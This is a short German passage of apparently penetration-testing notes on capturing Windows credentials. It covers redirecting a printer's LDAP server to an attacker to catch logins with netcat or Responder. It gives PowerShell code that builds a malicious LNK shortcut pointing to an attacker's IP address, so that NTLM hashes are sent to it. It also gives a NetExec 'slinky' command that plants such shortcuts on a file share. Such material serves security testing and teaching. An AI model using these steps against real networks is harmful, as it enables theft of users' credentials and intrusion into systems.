Gibt es Zugriff auf ein Gerät wie einen Drucker, bei dem die Konfiguration geändert werden kann, aber das Passwort nicht eingesehen werden kann? Falls Ja kann der LDAP Sign In Server zu dem des Angreifers geändert werden und dann mit netcat oder responder abgefangen werden.

LNK File Attack

Der obige Angriff ist auch möglich, wenn dem Nutzer eine Verlinkung untergeschoben wird, beispielsweise in einen Dateishare, welcher eine Verbindung zum Angreifer aufbaut und den Hash mit responder abfängt.

$objShell = New-Object -ComObject WScript.shell $lnk = $objShell.CreateShortcut("C:\test.lnk") $lnk.TargetPath = "\\192.168.138.149\@test.png" $lnk.WindowStyle = 1 $lnk.IconLocation = "%windir%\system32\shell32.dll, 3" $lnk.Description = "Test" $lnk.HotKey = "Ctrl+Alt+T" $lnk.Save()

Das ganze kann auch automatisiert werden, wenn der Dateishare verraten wird.

nxc smb <IP> -d <DOMAIN> -u <USER> -p <PASSWORD> -M slinky -o NAME=<DATEINAME> SERVER=<ANGREIFER IP>